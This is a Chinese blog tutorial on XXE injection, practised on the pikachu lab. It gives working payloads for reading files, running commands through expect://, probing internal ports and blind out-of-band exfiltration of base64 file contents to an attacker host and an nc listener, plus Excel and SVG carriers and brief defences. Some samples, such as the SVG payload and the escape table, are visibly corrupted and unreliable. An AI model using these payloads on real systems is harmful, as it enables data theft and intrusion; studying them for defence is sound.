XXE漏洞
参考视频:https://www.bilibili.com/video/BV13R4y117kL/
参考文章:https://blog.csdn.net/qq_39670065/article/details/108347687
https://blog.csdn.net/elephantxiang/article/details/113812331
靶场地址:https://github.com/c0ny1/xxe-lab
https://github.com/zhuifengshaonianhanlu/pikachu
0x01 漏洞简介
XXE漏洞原理
XXE Injection(XML External Entity Injection,XML外部实体注入攻击)攻击者可以通过XML的外部实体来获取服务器种本应被保护的数据。对于XXE漏洞最为关键的部分是DTD文档类型,DTD的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用,libxml2.9.1及以后,默认不再解析外部实体。
XXE漏洞的危害
当允许引用外部实体时,通过恶意构造,可以导致以下常见的危害:
- 任意文件读取
- 执行系统命令
- 探测内网端口
- ... ...
XML基础知识
什么是XML
XML指可扩展标记语言,XML被设计用来传输和存储数据,我们可以理解为就是一种写法类似于HTML语言的数据格式文档。但是xml跟html是为不同目的而设计的,html旨在显示数据信息,而xml旨在 传输数据信息。
什么是DTD
与xml格式相关,DTD(文档类型定义)的作用是定义xml文档的合法构建模块,也就是说声明了xml的内容格式规范。它使用一系列合法的元素来定义文档的结构。
DTD的两种声明方式
DTD可被成行的声明于xml文档中,也可做为一个外部引用。
- 内部DTD:对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
- 外部DTD:对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
内部
假如DTD被包含在xml源文件中,它应当通过下面的语法包装在一个DOCTYPE声明中:
下面是一个带有DTD的XML文档实例:
<?xml version="1.0"?>
<!DOCTYPE note [ <!-- 该行定义此文档是note类型的文档 -->
<!ELEMENT note (to,from,heading,body)> <!--该行定义根元素note有四个子元素:to from heading body-->
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)> <!--4-7行代码定义了这四个子元素的类型为“#PCDATA”类型-->
<!ENTITY write "hello world"> <!--该行定义了一个名为write值为“hello world”的实体-->
]>
<!--下面的结构由我们上面DTD声明的构建而成-->
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>&writer;</body> <!--这里引入了实体-->
</note>
<!--这里我的理解是,可以把实体当作一个变量(或者函数?),前面定义好,后面引用即可使用它的内容-->
关于4-7行的元素类型:
PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。
可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。
CDATA
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
外部
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ELEMENT root ANY> <!--定义元素为ANY类型,即可以接受任何元素-->
<!ENTITY xxe SYSTEM "file:///c:/test.dtd">]> <!--这里引用了外部实体,会对这个资源文件进行引用,这个是一种用SYSTEM关键字的引用方式-->
<root><body>&xxe</body></root>
什么是实体
看完上面的例子,我们再来总结下什么是实体。
我们可以理解为,实体其实就是一个变量。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体应用是对实体的引用。实体可在内部或外部进行声明。
实体的分类
实体分为内置实体、字符实体、通用实体和参数实体,其中内置实体和字符实体都和html的实体编码类似,有十进制和十六进制,一个实体由三部分构成:一个&
符号、一个实体名称以及一个;
。
在 XML 中,一些字符拥有特殊的意义,如果把这些字符放在XML元素中就会产生错误,所以必须用实体引用来代替
通用实体可以参考上面的外部DTD的代码内容,关于参数实体实例如下:
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM
"http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd; <!--只能在dtd中使用% s-->
remote.dtd内容
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
一个外部实体声明
语法
<!ENTITY 实体名称 SYSTEM "URL/URL">
例子
DTD例子:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
XML例子:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
<!ENTITY % file SYSTEM "http://192.168.2.124/payloads/entities.dtd"> <!--上面的dtd-->
%file; <!--引入进来-->
<!-- <!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com"> -->
]>
<c>&writer;</c>
pikachu靶场测试效果
0x02 XXE漏洞利用
XXE漏洞可能存在的地方
- XXE漏洞主要是关注测试的目标系统是否存在请求传输xml数据格式的API,如果遇到有xml数据格式传输的请求,就可进一步操作看是否存在XXE漏洞。
- 可上传excel文件的上传点,图片上传点
PHP的XXE条件
- Libxml的版本尽可能的低,libxml是PHP的xml解析库,因为从2.8.0版本开始,libxml默认是不加载外部实体的,如果要使用较高版本的libxml的话,需要在编写代码的时候对参数做设置。
- 目标主机没有禁用外部实体的引用。
- 用户可以控制xml的输入内容。
任意文件读取
pikachu靶场为例
首先我们测试是否能否回显(这里能回显不能直接判断是否支持外部实体)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test[
<!ENTITY read "M0urn">
]>
<test>&read;</test>
尝试读取文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test[
<!ENTITY read SYSTEM "file:///c:/windows/win.ini">
]>
<test>&read;</test>
读取成功
系统命令执行
在安装expect扩展的PHP环境中执行系统命令
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE username[
<!ELEMENT name ANY>
<!ENTITY file SYSTEM "expect://ipconfig">
]>
<user><username>
&file;
</username><password>2</password></user>
内网端口探测
大体思路就是访问内网ip的端口,响应快的为开放端口。
这里可以参考这篇文章:https://blog.csdn.net/elephantxiang/article/details/113812331
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE username[
<!ELEMENT name ANY>
<!ENTITY file SYSTEM "http://192.168.23.123:80">
]>
<user><username>
&file;
</username><password>2</password></user>
可以结合Burp的Intruder模块进行端口扫描。
无回显的XXE利用
利用php在本地写文件
xml内容
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://192.168.2.124/payloads/xxe_test.dtd">
%remote;
%all;
%send;
]>
远程端vps上在网站目录下放两个文件,一个是test.php用于接收信息,另一个是test.dtd,其中test.php代码如下:
<?php
$file = "./test.txt";
$content = base64_decode($_GET['file']);
file_put_contents($file , $content);
echo "\n";
?>
test.dtd的代码如下
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.2.124/payloads/xxe_test.php?file=%file;'>">
%是代表”%“,因为实体的值中不能有%,所以要转成实体编码。
这几个代码的逻辑关系是:
传入的实体先调用remote实体,远程引入外部实体test.dtd,然后通过调用test.dtd里的all实体来放出send实体,然后借助send实体触发file实体,读取敏感文件,再将文件的内容通过test.php写入到本地文件,达成无回显的xxe攻击。
我在本地利用搭建的pikachu靶场实验了下:
利用nc接收内容
kali起一个nc监听7777端口
xml内容
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://192.168.2.124/payloads/xxe_test.dtd">
%remote;
%all;
%send;
]>
dtd内容
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.23.130:7777?%file;'>">
kali可以看到接收到了返回的信息
解base64
同样是拿到了文件内容
EXCEL&SVG XXE漏洞利用
excel xxe利用文档制作
excel本身就是一个xml数据格式的合集,所以当它被上传到服务器时,如果文件会被解析执行(可以用dnslog测试下,如果有解析记录则说明被解析),那么其中的xml payload也会被解析执行。
制作方法:
-
创建一个新的excel文档:excel.xlsx
-
把test.xlsx当zip,打开压缩包(Linux下命令:
mkdir xxe && unzip test.xlsx -d xxe
)
- 修改解压目录中的xl目录下的workbook.xml内容,从第一行换行后开始插入payload
- 保存文件内容,改回test.xlsx(Linux下
zip -r test.xlsx xxe
)
后续上传进去即可。
SVG xxe
应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。即使应用程序希望接收PNG或JPEG等格式,所使用的图像处理库也可能支持SVG图像。由于SVG格式使用 XML,攻击者可以提交恶意的SVG图像,从而达到XXE漏洞的隐藏攻击面。
<?xm1 version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe sYSTEM "file:/l/etc/hostname" >]>
<svg width="128px" height="128px" xm1ns="http://www.w3.org/2000/svg"xm1ns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
0x03 XXE防御措施
字符串实体编码
字符 转义 < <
> >
& $amp;
' '
" "
过滤用户提交的XML数据,关键词:SYSTEM和PUBLIC
禁用外部实体:libxml_disable_entity_loader(true)
本文来自博客园,作者:M0urn,转载请注明原文链接:https://www.cnblogs.com/M0urn/articles/17761210.html